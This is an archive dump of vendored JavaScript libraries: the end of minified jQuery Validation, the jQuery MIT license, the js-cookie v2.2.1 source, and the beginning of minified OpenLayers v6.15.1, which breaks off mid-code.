c=this.elementValue(b);return!a.validator.methods.required.call(this,c,b)&&"dependency-mismatch"},startRequest:function(b){this.pending[b.name]||(this.pendingRequest++,a(b).addClass(this.settings.pendingClass),this.pending[b.name]=!0)},stopRequest:function(b,c){this.pendingRequest--,this.pendingRequest<0&&(this.pendingRequest=0),delete this.pending[b.name],a(b).removeClass(this.settings.pendingClass),c&&0===this.pendingRequest&&this.formSubmitted&&this.form()&&0===this.pendingRequest?(a(this.currentForm).trigger("submit"),this.submitButton&&a("input:hidden[name='"+this.submitButton.name+"']",this.currentForm).remove(),this.formSubmitted=!1):!c&&0===this.pendingRequest&&this.formSubmitted&&(a(this.currentForm).triggerHandler("invalid-form",[this]),this.formSubmitted=!1)},previousValue:function(b,c){return c="string"==typeof c&&c||"remote",a.data(b,"previousValue")||a.data(b,"previousValue",{old:null,valid:!0,message:this.defaultMessage(b,{method:c})})},destroy:function(){this.resetForm(),a(this.currentForm).off(".validate").removeData("validator").find(".validate-equalTo-blur").off(".validate-equalTo").removeClass("validate-equalTo-blur").find(".validate-lessThan-blur").off(".validate-lessThan").removeClass("validate-lessThan-blur").find(".validate-lessThanEqual-blur").off(".validate-lessThanEqual").removeClass("validate-lessThanEqual-blur").find(".validate-greaterThanEqual-blur").off(".validate-greaterThanEqual").removeClass("validate-greaterThanEqual-blur").find(".validate-greaterThan-blur").off(".validate-greaterThan").removeClass("validate-greaterThan-blur")}},classRuleSettings:{required:{required:!0},email:{email:!0},url:{url:!0},date:{date:!0},dateISO:{dateISO:!0},number:{number:!0},digits:{digits:!0},creditcard:{creditcard:!0}},addClassRules:function(b,c){b.constructor===String?this.classRuleSettings[b]=c:a.extend(this.classRuleSettings,b)},classRules:function(b){var c={},d=a(b).attr("class");return d&&a.each(d.split(" "),function(){this in a.validator.classRuleSettings&&a.extend(c,a.validator.classRuleSettings[this])}),c},normalizeAttributeRule:function(a,b,c,d){/min|max|step/.test(c)&&(null===b||/number|range|text/.test(b))&&(d=Number(d),isNaN(d)&&(d=void 0)),d||0===d?a[c]=d:b===c&&"range"!==b&&(a["date"===b?"dateISO":c]=!0)},attributeRules:function(b){var c,d,e={},f=a(b),g=b.getAttribute("type");for(c in a.validator.methods)"required"===c?(d=b.getAttribute(c),""===d&&(d=!0),d=!!d):d=f.attr(c),this.normalizeAttributeRule(e,g,c,d);return e.maxlength&&/-1|2147483647|524288/.test(e.maxlength)&&delete e.maxlength,e},dataRules:function(b){var c,d,e={},f=a(b),g=b.getAttribute("type");for(c in a.validator.methods)d=f.data("rule"+c.charAt(0).toUpperCase()+c.substring(1).toLowerCase()),""===d&&(d=!0),this.normalizeAttributeRule(e,g,c,d);return e},staticRules:function(b){var c={},d=a.data(b.form,"validator");return d.settings.rules&&(c=a.validator.normalizeRule(d.settings.rules[b.name])||{}),c},normalizeRules:function(b,c){return a.each(b,function(d,e){if(e===!1)return void delete b[d];if(e.param||e.depends){var f=!0;switch(typeof e.depends){case"string":f=!!a(e.depends,c.form).length;break;case"function":f=e.depends.call(c,c)}f?b[d]=void 0===e.param||e.param:(a.data(c.form,"validator").resetElements(a(c)),delete b[d])}}),a.each(b,function(a,d){b[a]="function"==typeof d&&"normalizer"!==a?d(c):d}),a.each(["minlength","maxlength"],function(){b[this]&&(b[this]=Number(b[this]))}),a.each(["rangelength","range"],function(){var a;b[this]&&(Array.isArray(b[this])?b[this]=[Number(b[this][0]),Number(b[this][1])]:"string"==typeof b[this]&&(a=b[this].replace(/[\[\]]/g,"").split(/[\s,]+/),b[this]=[Number(a[0]),Number(a[1])]))}),a.validator.autoCreateRanges&&(null!=b.min&&null!=b.max&&(b.range=[b.min,b.max],delete b.min,delete b.max),null!=b.minlength&&null!=b.maxlength&&(b.rangelength=[b.minlength,b.maxlength],delete b.minlength,delete b.maxlength)),b},normalizeRule:function(b){if("string"==typeof b){var c={};a.each(b.split(/\s/),function(){c[this]=!0}),b=c}return b},addMethod:function(b,c,d){a.validator.methods[b]=c,a.validator.messages[b]=void 0!==d?d:a.validator.messages[b],c.length<3&&a.validator.addClassRules(b,a.validator.normalizeRule(b))},methods:{required:function(b,c,d){if(!this.depend(d,c))return"dependency-mismatch";if("select"===c.nodeName.toLowerCase()){var e=a(c).val();return e&&e.length>0}return this.checkable(c)?this.getLength(b,c)>0:void 0!==b&&null!==b&&b.length>0},email:function(a,b){return this.optional(b)||/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test(a)},url:function(a,b){return this.optional(b)||/^(?:(?:(?:https?|ftp):)?\/\/)(?:(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})+(?::(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62})?[a-z0-9\u00a1-\uffff]\.)+(?:[a-z\u00a1-\uffff]{2,}\.?))(?::\d{2,5})?(?:[/?#]\S*)?$/i.test(a)},date:function(){var a=!1;return function(b,c){return a||(a=!0,this.settings.debug&&window.console&&console.warn("The `date` method is deprecated and will be removed in version '2.0.0'.\nPlease don't use it, since it relies on the Date constructor, which\nbehaves very differently across browsers and locales. Use `dateISO`\ninstead or one of the locale specific methods in `localizations/`\nand `additional-methods.js`.")),this.optional(c)||!/Invalid|NaN/.test(new Date(b).toString())}}(),dateISO:function(a,b){return this.optional(b)||/^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/.test(a)},number:function(a,b){return this.optional(b)||/^(?:-?\d+|-?\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test(a)},digits:function(a,b){return this.optional(b)||/^\d+$/.test(a)},minlength:function(a,b,c){var d=Array.isArray(a)?a.length:this.getLength(a,b);return this.optional(b)||d>=c},maxlength:function(a,b,c){var d=Array.isArray(a)?a.length:this.getLength(a,b);return this.optional(b)||d<=c},rangelength:function(a,b,c){var d=Array.isArray(a)?a.length:this.getLength(a,b);return this.optional(b)||d>=c[0]&&d<=c[1]},min:function(a,b,c){return this.optional(b)||a>=c},max:function(a,b,c){return this.optional(b)||a<=c},range:function(a,b,c){return this.optional(b)||a>=c[0]&&a<=c[1]},step:function(b,c,d){var e,f=a(c).attr("type"),g="Step attribute on input type "+f+" is not supported.",h=["text","number","range"],i=new RegExp("\\b"+f+"\\b"),j=f&&!i.test(h.join()),k=function(a){var b=(""+a).match(/(?:\.(\d+))?$/);return b&&b[1]?b[1].length:0},l=function(a){return Math.round(a*Math.pow(10,e))},m=!0;if(j)throw new Error(g);return e=k(d),(k(b)>e||l(b)%l(d)!==0)&&(m=!1),this.optional(c)||m},equalTo:function(b,c,d){var e=a(d);return this.settings.onfocusout&&e.not(".validate-equalTo-blur").length&&e.addClass("validate-equalTo-blur").on("blur.validate-equalTo",function(){a(c).valid()}),b===e.val()},remote:function(b,c,d,e){if(this.optional(c))return"dependency-mismatch";e="string"==typeof e&&e||"remote";var f,g,h,i=this.previousValue(c,e);return this.settings.messages[c.name]||(this.settings.messages[c.name]={}),i.originalMessage=i.originalMessage||this.settings.messages[c.name][e],this.settings.messages[c.name][e]=i.message,d="string"==typeof d&&{url:d}||d,h=a.param(a.extend({data:b},d.data)),i.old===h?i.valid:(i.old=h,f=this,this.startRequest(c),g={},g[c.name]=b,a.ajax(a.extend(!0,{mode:"abort",port:"validate"+c.name,dataType:"json",data:g,context:f.currentForm,success:function(a){var d,g,h,j=a===!0||"true"===a;f.settings.messages[c.name][e]=i.originalMessage,j?(h=f.formSubmitted,f.resetInternals(),f.toHide=f.errorsFor(c),f.formSubmitted=h,f.successList.push(c),f.invalid[c.name]=!1,f.showErrors()):(d={},g=a||f.defaultMessage(c,{method:e,parameters:b}),d[c.name]=i.message=g,f.invalid[c.name]=!0,f.showErrors(d)),i.valid=j,f.stopRequest(c,j)}},d)),"pending")}}});var c,d={};return a.ajaxPrefilter?a.ajaxPrefilter(function(a,b,c){var e=a.port;"abort"===a.mode&&(d[e]&&d[e].abort(),d[e]=c)}):(c=a.ajax,a.ajax=function(b){var e=("mode"in b?b:a.ajaxSettings).mode,f=("port"in b?b:a.ajaxSettings).port;return"abort"===e?(d[f]&&d[f].abort(),d[f]=c.apply(this,arguments),d[f]):c.apply(this,arguments)}),a});�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jquery/MIT-LICENSE.txt�����������������������������������������������������������������������0000666�����������������00000002111�15172447206�0011641 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Copyright OpenJS Foundation and other contributors, https://openjsf.org/ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/js.cookie.js���������������������������������������������������������������������������������0000666�����������������00000007453�15172447206�0010310 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * JavaScript Cookie v2.2.1 * https://github.com/js-cookie/js-cookie * * Copyright 2006, 2015 Klaus Hartl & Fagner Brack * Released under the MIT license */ ;(function (factory) { var registeredInModuleLoader; if (typeof define === 'function' && define.amd) { define(factory); registeredInModuleLoader = true; } if (typeof exports === 'object') { module.exports = factory(); registeredInModuleLoader = true; } if (!registeredInModuleLoader) { var OldCookies = window.Cookies; var api = window.Cookies = factory(); api.noConflict = function () { window.Cookies = OldCookies; return api; }; } }(function () { function extend () { var i = 0; var result = {}; for (; i < arguments.length; i++) { var attributes = arguments[ i ]; for (var key in attributes) { result[key] = attributes[key]; } } return result; } function decode (s) { return s.replace(/(%[0-9A-Z]{2})+/g, decodeURIComponent); } function init (converter) { function api() {} function set (key, value, attributes) { if (typeof document === 'undefined') { return; } attributes = extend({ path: '/' }, api.defaults, attributes); if (typeof attributes.expires === 'number') { attributes.expires = new Date(new Date() * 1 + attributes.expires * 864e+5); } // We're using "expires" because "max-age" is not supported by IE attributes.expires = attributes.expires ? attributes.expires.toUTCString() : ''; try { var result = JSON.stringify(value); if (/^[\{\[]/.test(result)) { value = result; } } catch (e) {} value = converter.write ? converter.write(value, key) : encodeURIComponent(String(value)) .replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g, decodeURIComponent); key = encodeURIComponent(String(key)) .replace(/%(23|24|26|2B|5E|60|7C)/g, decodeURIComponent) .replace(/[\(\)]/g, escape); var stringifiedAttributes = ''; for (var attributeName in attributes) { if (!attributes[attributeName]) { continue; } stringifiedAttributes += '; ' + attributeName; if (attributes[attributeName] === true) { continue; } // Considers RFC 6265 section 5.2: // ... // 3. If the remaining unparsed-attributes contains a %x3B (";") // character: // Consume the characters of the unparsed-attributes up to, // not including, the first %x3B (";") character. // ... stringifiedAttributes += '=' + attributes[attributeName].split(';')[0]; } return (document.cookie = key + '=' + value + stringifiedAttributes); } function get (key, json) { if (typeof document === 'undefined') { return; } var jar = {}; // To prevent the for loop in the first place assign an empty array // in case there are no cookies at all. var cookies = document.cookie ? document.cookie.split('; ') : []; var i = 0; for (; i < cookies.length; i++) { var parts = cookies[i].split('='); var cookie = parts.slice(1).join('='); if (!json && cookie.charAt(0) === '"') { cookie = cookie.slice(1, -1); } try { var name = decode(parts[0]); cookie = (converter.read || converter)(cookie, name) || decode(cookie); if (json) { try { cookie = JSON.parse(cookie); } catch (e) {} } jar[name] = cookie; if (key === name) { break; } } catch (e) {} } return key ? jar[key] : jar; } api.set = set; api.get = function (key) { return get(key, false /* read as raw */); }; api.getJSON = function (key) { return get(key, true /* read as json */); }; api.remove = function (key, attributes) { set(key, '', extend(attributes, { expires: -1 })); }; api.defaults = {}; api.withConverter = init; return api; } return init(function () {}); })); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/openlayers/OpenLayers.js���������������������������������������������������������������������0000666�����������������00001174624�15172447206�0012674 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * OpenLayers v6.15.1 (https://openlayers.org/) * Copyright 2005-present, OpenLayers Contributors All rights reserved. * Licensed under BSD 2-Clause License (https://github.com/openlayers/openlayers/blob/main/LICENSE.md) * * @license BSD-2-Clause */ !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.ol=e():t.ol=e()}(self,(function(){return function(){var t={582:function(t){t.exports=function(){"use strict";function t(t,n,o,r,s){!function t(i,n,o,r,s){for(;r>o;){if(r-o>600){var a=r-o+1,l=n-o+1,h=Math.log(a),u=.5*Math.exp(2*h/3),c=.5*Math.sqrt(h*u*(a-u)/a)*(l-a/2<0?-1:1);t(i,n,Math.max(o,Math.floor(n-l*u/a+c)),Math.min(r,Math.floor(n+(a-l)*u/a+c)),s)}var p=i[n],f=o,d=r;for(e(i,o,n),s(i[r],p)>0&&e(i,o,r);f<d;){for(e(i,f,d),f++,d--;s(i[f],p)<0;)f++;for(;s(i[d],p)>0;)d--}0===s(i[o],p)?e(i,o,d):e(i,++d,r),d<=n&&(o=d+1),n<=d&&(r=d-1)}}(t,n,o||0,r||t.length-1,s||i)}function e(t,e,i){var n=t[e];t[e]=t[i],t[i]=n}function i(t,e){return t<e?-1:t>e?1:0}var n=function(t){void 0===t&&(t=9),this._maxEntries=Math.max(4,t),this._minEntries=Math.max(2,Math.ceil(.4*this._maxEntries)),this.clear()};function o(t,e,i){if(!i)return e.indexOf(t);for(var n=0;n<e.length;n++)if(i(t,e[n]))return n;return-1}function r(t,e){s(t,0,t.children.length,e,t)}function s(t,e,i,n,o){o||(o=d(null)),o.minX=1/0,o.minY=1/0,o.maxX=-1/0,o.maxY=-1/0;for(var r=e;r<i;r++){var s=t.children[r];a(o,t.leaf?n(s):s)}return o}function a(t,e){return t.minX=Math.min(t.minX,e.minX),t.minY=Math.min(t.minY,e.minY),t.maxX=Math.max(t.maxX,e.maxX),t.maxY=Math.max(t.maxY,e.maxY),t}function l(t,e){return t.minX-e.minX}function h(t,e){return t.minY-e.minY}function u(t){return(t.maxX-t.minX)*(t.maxY-t.minY)}function c(t){return t.maxX-t.minX+(t.maxY-t.minY)}function p(t,e){return t.minX<=e.minX&&t.minY<=e.minY&&e.maxX<=t.maxX&&e.maxY<=t.maxY}function f(t,e){return e.minX<=t.maxX&&e.minY<=t.maxY&&e.maxX>=t.minX&&e.maxY>=t.minY}function d(t){return{children:t,height:1,leaf:!0,minX:1/0,minY:1/0,maxX:-1/0,maxY:-1/0}}function g(e,i,n,o,r){for(var s=[i,n];s.length;)if(!((n=s.pop())-(i=s.pop())<=o)){var a=i+Math.ceil((n-i)/o/2)*o;t(e,a,i,n,r),s.push(i,a,a,n)}}return n.prototype.all=function(){return this._all(this.data,[])},n.prototype.search=function(t){var e=this.data,i=[];if(!f(t,e))return i;for(var n=this.toBBox,o=[];e;){for(var r=0;r<e.children.length;r++){var s=e.children[r],a=e.leaf?n(s):s;f(t,a)&&(e.leaf?i.push(s):p(t,a)?this._all(s,i):o.push(s))}e=o.pop()}return i},n.prototype.collides=function(t){var e=this.data;if(!f(t,e))return!1;for(var i=[];e;){for(var n=0;n<e.children.length;n++){var o=e.children[n],r=e.leaf?this.toBBox(o):o;if(f(t,r)){if(e.leaf||p(t,r))return!0;i.push(o)}}e=i.pop()}return!1},n.prototype.load=function(t){if(!t||!t.length)return this;if(t.length<this._minEntries){for(var e=0;e<t.length;e++)this.insert(t[e]);return this}var i=this._build(t.slice(),0,t.length-1,0);if(this.data.children.length)if(this.data.height===i.height)this._splitRoot(this.data,i);else{if(this.data.height<i.height){var n=this.data;this.data=i,i=n}this._insert(i,this.data.height-i.height-1,!0)}else this.data=i;return this},n.prototype.insert=function(t){return t&&this._insert(t,this.data.height-1),this},n.prototype.clear=function(){return this.data=d([]),this},n.prototype.remove=function(t,e){if(!t)return this;for(var i,n,r,s=this.data,a=this.toBBox(t),l=[],h=[];s||l.length;){if(s||(s=l.pop(),n=l[l.length-1],i=h.pop(),r=!0),s.leaf){var u=o(t,s.children,e);if(-1!==u)return s.children.splice(u,1),l.push(s),this._condense(l),this}r||s.leaf||!p(s,a)?n?(i++,s=n.children[i],r=!1):s=null:(l.push(s),h.push(i),i=0,n=s,s=s.children[0])}return this},n.prototype.toBBox=function(t){return t},n.prototype.compareMinX=function(t,e){return t.minX-e.minX},n.prototype.compareMinY=function(t,e){return t.minY-e.minY},n.prototype.toJSON=function(){return this.data},n.prototype.fromJSON=function(t){return this.data=t,this},n.prototype._all=function(t,e){for(var i=[];t;)t.leaf?e.push.apply(e,t.children):i.push.apply(i,t.children),t=i.pop();return e},n.prototype._build=function(t,e,i,n){var o,s=i-e+1,a=this._maxEntries;if(s<=a)return r(o=d(t.slice(e,i+1)),this.toBBox),o;n||(n=Math.ceil(Math.log(s)/Math.log(a)),a=Math.ceil(s/Math.pow(a,n-1))),(o=d([])).leaf=!1,o.height=n;var l=Math.ceil(s/a),h=l*Math.ceil(Math.sqrt(a));g(t,e,i,h,this.compareMinX);for(var u=e;u<=i;u+=h){var c=Math.min(u+h-1,i);g(t,u,c,l,this.compareMinY);for(var p=u;p<=c;p+=l){var f=Math.min(p+l-1,c);o.children.push(this._build(t,p,f,n-1))}}return r(o,this.toBBox),o},n.prototype._chooseSubtree=function(t,e,i,n){for(;n.push(e),!e.leaf&&n.length-1!==i;){for(var o=1/0,r=1/0,s=void 0,a=0;a<e.children.length;a++){var l=e.children[a],h=u(l),c=(p=t,f=l,(Math.max(f.maxX,p.maxX)-Math.min(f.minX,p.minX))*(Math.max(f.maxY,p.maxY)-Math.min(f.minY,p.minY))-h);c<r?(r=c,o=h<o?h:o,s=l):c===r&&h<o&&(o=h,s=l)}e=s||e.children[0]}var p,f;return e},n.prototype._insert=function(t,e,i){var n=i?t:this.toBBox(t),o=[],r=this._chooseSubtree(n,this.data,e,o);for(r.children.push(t),a(r,n);e>=0&&o[e].children.length>this._maxEntries;)this._split(o,e),e--;this._adjustParentBBoxes(n,o,e)},n.prototype._split=function(t,e){var i=t[e],n=i.children.length,o=this._minEntries;this._chooseSplitAxis(i,o,n);var s=this._chooseSplitIndex(i,o,n),a=d(i.children.splice(s,i.children.length-s));a.height=i.height,a.leaf=i.leaf,r(i,this.toBBox),r(a,this.toBBox),e?t[e-1].children.push(a):this._splitRoot(i,a)},n.prototype._splitRoot=function(t,e){this.data=d([t,e]),this.data.height=t.height+1,this.data.leaf=!1,r(this.data,this.toBBox)},n.prototype._chooseSplitIndex=function(t,e,i){for(var n,o,r,a,l,h,c,p=1/0,f=1/0,d=e;d<=i-e;d++){var g=s(t,0,d,this.toBBox),_=s(t,d,i,this.toBBox),y=(o=g,r=_,void 0,void 0,void 0,void 0,a=Math.max(o.minX,r.minX),l=Math.max(o.minY,r.minY),h=Math.min(o.maxX,r.maxX),c=Math.min(o.maxY,r.maxY),Math.max(0,h-a)*Math.max(0,c-l)),v=u(g)+u(_);y<p?(p=y,n=d,f=v<f?v:f):y===p&&v<f&&(f=v,n=d)}return n||i-e},n.prototype._chooseSplitAxis=function(t,e,i){var n=t.leaf?this.compareMinX:l,o=t.leaf?this.compareMinY:h;this._allDistMargin(t,e,i,n)<this._allDistMargin(t,e,i,o)&&t.children.sort(n)},n.prototype._allDistMargin=function(t,e,i,n){t.children.sort(n);for(var o=this.toBBox,r=s(t,0,e,o),l=s(t,i-e,i,o),h=c(r)+c(l),u=e;u<i-e;u++){var p=t.children[u];a(r,t.leaf?o(p):p),h+=c(r)}for(var f=i-e-1;f>=e;f--){var d=t.children[f];a(l,t.leaf?o(d):d),h+=c(l)}return h},n.prototype._adjustParentBBoxes=function(t,e,i){for(var n=i;n>=0;n--)a(e[n],t)},n.prototype._condense=function(t){for(var e=t.length-1,i=void 0;e>=0;e--)0===t[e].children.length?e>0?(i=t[e-1].children).splice(i.indexOf(t[e]),1):this.clear():r(t[e],this.toBBox)},n}()}},e={};function i(n){var o=e[n];if(void 0!==o)return o.exports;var r=e[n]={exports:{}};return t[n].call(r.exports,r,r.exports,i),r.exports}i.d=function(t,e){for(var n in e)i.o(e,n)&&!i.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:e[n]})},i.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)};var n={};return function(){"use strict";i.d(n,{default:function(){return uh}});var t=function(){function t(t){this.propagationStopped,this.defaultPrevented,this.type=t,this.target=null}return t.prototype.preventDefault=function(){this.defaultPrevented=!0},t.prototype.stopPropagation=function(){this.propagationStopped=!0},t}(),e="propertychange",o=function(){function t(){this.disposed=!1}return t.prototype.dispose=function(){this.disposed||(this.disposed=!0,this.disposeInternal())},t.prototype.disposeInternal=function(){},t}();function r(t,e){return t>e?1:t<e?-1:0}function s(t,e,i){var n=t.length;if(t[0]<=e)return 0;if(e<=t[n-1])return n-1;var o=void 0;if(i>0){for(o=1;o<n;++o)if(t[o]<e)return o-1}else if(i<0){for(o=1;o<n;++o)if(t[o]<=e)return o}else for(o=1;o<n;++o){if(t[o]==e)return o;if(t[o]<e)return"function"==typeof i?i(e,t[o-1],t[o])>0?o-1:o:t[o-1]-e<e-t[o]?o-1:o}return n-1}function a(t,e,i){for(;e<i;){var n=t[e];t[e]=t[i],t[i]=n,++e,--i}}function l(t,e){for(var i=Array.isArray(e)?e:[e],n=i.length,o=0;o<n;o++)t[t.length]=i[o]}function h(t,e){var i=t.length;if(i!==e.length)return!1;for(var n=0;n<i;n++)if(t[n]!==e[n])return!1;return!0}function u(){return!0}function c(){return!1}function p(){}var f="function"==typeof Object.assign?Object.assign:function(t,e){if(null==t)throw new TypeError("Cannot convert undefined or null to object");for(var i=Object(t),n=1,o=arguments.length;n<o;++n){var r=arguments[n];if(null!=r)for(var s in r)r.hasOwnProperty(s)&&(i[s]=r[s])}return i};function d(t){for(var e in t)delete t[e]}var g="function"==typeof Object.values?Object.values:function(t){var e=[];for(var i in t)e.push(t[i]);return e};function _(t){var e;for(e in t)return!1;return!e}var y,v=(y=function(t,e){return y=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},y(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function i(){this.constructor=t}y(t,e),t.prototype=null===e?Object.create(e):(i.prototype=e.prototype,new i)}),m=function(e){function i(t){var i=e.call(this)||this;return i.eventTarget_=t,i.pendingRemovals_=null,i.dispatching_=null,i.listeners_=null,i}return v(i,e),i.prototype.addEventListener=function(t,e){if(t&&e){var i=this.listeners_||(this.listeners_={}),n=i[t]||(i[t]=[]);-1===n.indexOf(e)&&n.push(e)}},i.prototype.dispatchEvent=function(e){var i="string"==typeof e,n=i?e:e.type,o=this.listeners_&&this.listeners_[n];if(o){var r=i?new t(e):e;r.target||(r.target=this.eventTarget_||this);var s,a=this.dispatching_||(this.dispatching_={}),l=this.pendingRemovals_||(this.pendingRemovals_={});n in a||(a[n]=0,l[n]=0),++a[n];for(var h=0,u=o.length;h<u;++h)if(!1===(s="handleEvent"in o[h]?o[h].handleEvent(r):o[h].call(this,r))||r.propagationStopped){s=!1;break}if(0==--a[n]){var c=l[n];for(delete l[n];c--;)this.removeEventListener(n,p);delete a[n]}return s}},i.prototype.disposeInternal=function(){this.listeners_&&d(this.listeners_)},i.prototype.getListeners=function(t){return this.listeners_&&this.listeners_[t]||void 0},i.prototype.hasListener=function(t){return!!this.listeners_&&(t?t in this.listeners_:Object.keys(this.listeners_).length>0)},i.prototype.removeEventListener=function(t,e){var i=this.listeners_&&this.listeners_[t];if(i){var n=i.indexOf(e);-1!==n&&(this.pendingRemovals_&&t in this.pendingRemovals_?(i[n]=p,++this.pendingRemovals_[t]):(i.splice(n,1),0===i.length&&delete this.listeners_[t]))}},i}(o),x="change",C="contextmenu",w="click",S="keydown",E="keypress",T="touchmove",b="wheel";function O(t,e,i,n,o){if(n&&n!==t&&(i=i.bind(n)),o){var r=i;i=function(){t.removeEventListener(e,i),r.apply(this,arguments)}}var s={target:t,type:e,listener:i};return t.addEventListener(e,i),s}function R(t,e,i,n){return O(t,e,i,n,!0)}function P(t){t&&t.target&&(t.target.removeEventListener(t.type,t.listener),d(t))}var I=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),M=function(t){function e(){var e=t.call(this)||this;return e.on=e.onInternal,e.once=e.onceInternal,e.un=e.unInternal,e.revision_=0,e}return I(e,t),e.prototype.changed=function(){++this.revision_,this.dispatchEvent(x)},e.prototype.getRevision=function(){return this.revision_},e.prototype.onInternal=function(t,e){if(Array.isArray(t)){for(var i=t.length,n=new Array(i),o=0;o<i;++o)n[o]=O(this,t[o],e);return n}return O(this,t,e)},e.prototype.onceInternal=function(t,e){var i;if(Array.isArray(t)){var n=t.length;i=new Array(n);for(var o=0;o<n;++o)i[o]=R(this,t[o],e)}else i=R(this,t,e);return e.ol_key=i,i},e.prototype.unInternal=function(t,e){var i=e.ol_key;if(i)!function(t){if(Array.isArray(t))for(var e=0,i=t.length;e<i;++e)P(t[e]);else P(t)}(i);else if(Array.isArray(t))for(var n=0,o=t.length;n<o;++n)this.removeEventListener(t[n],e);else this.removeEventListener(t,e)},e}(m);M.prototype.on,M.prototype.once,M.prototype.un;var F=M;function L(){return function(){throw new Error("Unimplemented abstract method.")}()}var A=0;function D(t){return t.ol_uid||(t.ol_uid=String(++A))}var k=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),j=function(t){function e(e,i,n){var o=t.call(this,e)||this;return o.key=i,o.oldValue=n,o}return k(e,t),e}(t),G=function(t){function i(e){var i=t.call(this)||this;return i.on,i.once,i.un,D(i),i.values_=null,void 0!==e&&i.setProperties(e),i}return k(i,t),i.prototype.get=function(t){var e;return this.values_&&this.values_.hasOwnProperty(t)&&(e=this.values_[t]),e},i.prototype.getKeys=function(){return this.values_&&Object.keys(this.values_)||[]},i.prototype.getProperties=function(){return this.values_&&f({},this.values_)||{}},i.prototype.hasProperties=function(){return!!this.values_},i.prototype.notify=function(t,i){var n;n="change:".concat(t),this.hasListener(n)&&this.dispatchEvent(new j(n,t,i)),n=e,this.hasListener(n)&&this.dispatchEvent(new j(n,t,i))},i.prototype.addChangeListener=function(t,e){this.addEventListener("change:".concat(t),e)},i.prototype.removeChangeListener=function(t,e){this.removeEventListener("change:".concat(t),e)},i.prototype.set=function(t,e,i){var n=this.values_||(this.values_={});if(i)n[t]=e;else{var o=n[t];n[t]=e,o!==e&&this.notify(t,o)}},i.prototype.setProperties=function(t,e){for(var i in t)this.set(i,t[i],e)},i.prototype.applyProperties=function(t){t.values_&&f(this.values_||(this.values_={}),t.values_)},i.prototype.unset=function(t,e){if(this.values_&&t in this.values_){var i=this.values_[t];delete this.values_[t],_(this.values_)&&(this.values_=null),e||this.notify(t,i)}},i}(F),z="postrender",W="loadstart",X="loadend",N="undefined"!=typeof navigator&&void 